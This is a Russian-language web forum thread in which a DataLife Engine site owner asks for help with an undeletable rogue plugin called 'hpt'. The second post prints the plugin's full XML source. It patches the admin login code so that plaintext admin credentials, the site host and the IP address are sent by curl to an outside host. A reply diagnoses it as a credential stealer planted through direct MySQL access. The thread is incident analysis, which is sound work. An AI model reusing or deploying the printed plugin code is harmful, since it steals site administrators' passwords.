Перейти к публикации

Плагины DLE или лайфхак как взломать DLE..


Рекомендованные сообщения

Такая небольшая ситуация у нас возникла..

Собственно опишу ситуацию:

Есть у нас сайт на dle (14.0), работал он пару лет стабильно и мы ни чего не правили в нём.

Вчера нам позвонили какие-то челики и говорят: У вас на сайте вирус замечан, давайте мы вам его исправим за денюжку.

После мы пошли смотреть сайт, что с ним. И да и в правду видим редерект с нашего сайта на какой-то левый.

Проверили все логи и прочее, даже логи админ панели, вдруг кто-то логин и пароль подобрал. И ни чего не нашли - всё чисто.

Потом как то случайно зашли в раздел плагины. И увидели так какой-то плагин под названием hpt

Данный плагин тупо не удаляется. Доступы имеются только у нас. Как он там появился - мы можем только гадать. 

В plagins.class.php у нас увы стояло public static $read_only = false;

 

Вопросы к знатокам:

1. Как удалить данный плагин ?

При удалении он выдаёт ошибку вида:

Заголовок HTTP_REFERER некорректен либо не определен. Для осуществления данного действия этот заголовок обязателен. Если вы переименовали имя админпанели в настройках, то убедитесь, что вы находитесь в панели и именно по переименованному адресу. Также возможно вы перешли на эту страницу с несанкционированной страницы, или вы находитесь за прокси сервером, который удалил заголовок HTTP_REFERER. В случае использования прокси сервера, настройте его на передачу корректного заголовка HTTP_REFERER либо отключите его.

2. Какими способами люди записывают свои плагины на dle сайты, при этом не имея доступов к фтп, хостингу или админ панели dle.

 

Сам плагин этот. мы вам прикрепим. Вдруг вам станет интересно, что это за чудо.

Ссылка на плагин

Ссылка на сообщение
Поделиться на других сайтах
2 минуты назад, ZzzBep сказал:

Очень похоже на скачай вирус и установи его себе😀

Извини. Если тебе будет лучше то:

<?xml version="1.0" encoding="utf-8"?>
<dleplugin>
	<name>HPT</name>
	<description></description>
	<icon></icon>
	<version>1</version>
	<dleversion></dleversion>
	<versioncompare>less</versioncompare>
	<upgradeurl></upgradeurl>
	<filedelete>0</filedelete>
	<needplugin></needplugin>
	<mnotice>0</mnotice>
	<mysqlinstall><![CDATA[]]></mysqlinstall>
	<mysqlupgrade><![CDATA[]]></mysqlupgrade>
	<mysqlenable><![CDATA[]]></mysqlenable>
	<mysqldisable><![CDATA[]]></mysqldisable>
	<mysqldelete><![CDATA[]]></mysqldelete>
	<phpinstall><![CDATA[]]></phpinstall>
	<phpupgrade><![CDATA[]]></phpupgrade>
	<phpenable><![CDATA[]]></phpenable>
	<phpdisable><![CDATA[]]></phpdisable>
	<phpdelete><![CDATA[]]></phpdelete>
	<notice><![CDATA[]]></notice>
	<file name="engine/inc/include/init.php">
		<operation action="after">
			<searchcode><![CDATA[$cmd5_password = "";]]></searchcode>
			<replacecode><![CDATA[$passcl = "";]]></replacecode>
		</operation>
		<operation action="after">
			<searchcode><![CDATA[$cmd5_password = (string)$_POST['password'];]]></searchcode>
			<replacecode><![CDATA[$passcl = (string)$_POST['password'];]]></replacecode>
		</operation>
		<operation action="replace">
			<searchcode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log ) )]]></searchcode>
			<replacecode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log, $passcl) )]]></replacecode>
		</operation>
	</file>
	<file name="engine/inc/include/functions.inc.php">
		<operation action="after">
			<searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$username."', '{$_TIME}', '{$_IP}', '89', '')" );]]></searchcode>
			<replacecode><![CDATA[$site = $_SERVER['HTTP_HOST'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=false";
if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
}]]></replacecode>
		</operation>
		<operation action="after">
			<searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$db->safesql($member_id['name'])."', '{$_TIME}', '{$_IP}', '{$a_id}', '{$extr}')" );]]></searchcode>
			<replacecode><![CDATA[$site = $_SERVER['HTTP_HOST'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=true";
if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
$out = curl_exec($curl);
echo $out;
curl_close($curl);
}]]></replacecode>
		</operation>
		<operation action="replace">
			<searchcode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false)]]></searchcode>
			<replacecode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false, $passcl)]]></replacecode>
		</operation>
	</file>
</dleplugin>

 

Ссылка на сообщение
Поделиться на других сайтах
9 часов назад, my-products сказал:

Вопросы к знатокам:

1. Как удалить данный плагин ?

При удалении он выдаёт ошибку вида:



Заголовок HTTP_REFERER некорректен либо не определен. Для осуществления данного действия этот заголовок обязателен. Если вы переименовали имя админпанели в настройках, то убедитесь, что вы находитесь в панели и именно по переименованному адресу. Также возможно вы перешли на эту страницу с несанкционированной страницы, или вы находитесь за прокси сервером, который удалил заголовок HTTP_REFERER. В случае использования прокси сервера, настройте его на передачу корректного заголовка HTTP_REFERER либо отключите его.

 

Если такая ошибка возникает, значит у вас не только нельзя удалить, но добавить плагины через админпанель. Потому как это проверка и при добавлении и при редактировании и при удалении. Для удаления вам нужно устранять написанную в ошибке проблему. 

9 часов назад, my-products сказал:

Проверили все логи и прочее, даже логи админ панели, вдруг кто-то логин и пароль подобрал. И ни чего не нашли - всё чисто.

Любое действие через админпанель DLE попадает в логи, в том числе и добавление плагинов. Плагины храняться не в файлах а в базе данных MySQL, значит злоумышленники имеют прямой доступ к MySQL у вас. Ну а сам плагин что вы привели ворует уже доступы к DLE и когда вы авторизовываетесь  на сайте отправляет ваш пароль от вашего сайта на DLE в чистом виде на сайт kis16dmz5.ru

9 часов назад, my-products сказал:

2. Какими способами люди записывают свои плагины на dle сайты, при этом не имея доступов к фтп, хостингу или админ панели dle.

Вариантов много. Например как я написал выше, имея прямой доступ к БД MySQL, или если у вас стоит нелегальная копия скрипта, скачанная неизвестно откуда, то шелл может быть был вшит изначально в файлы скрипта.

Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...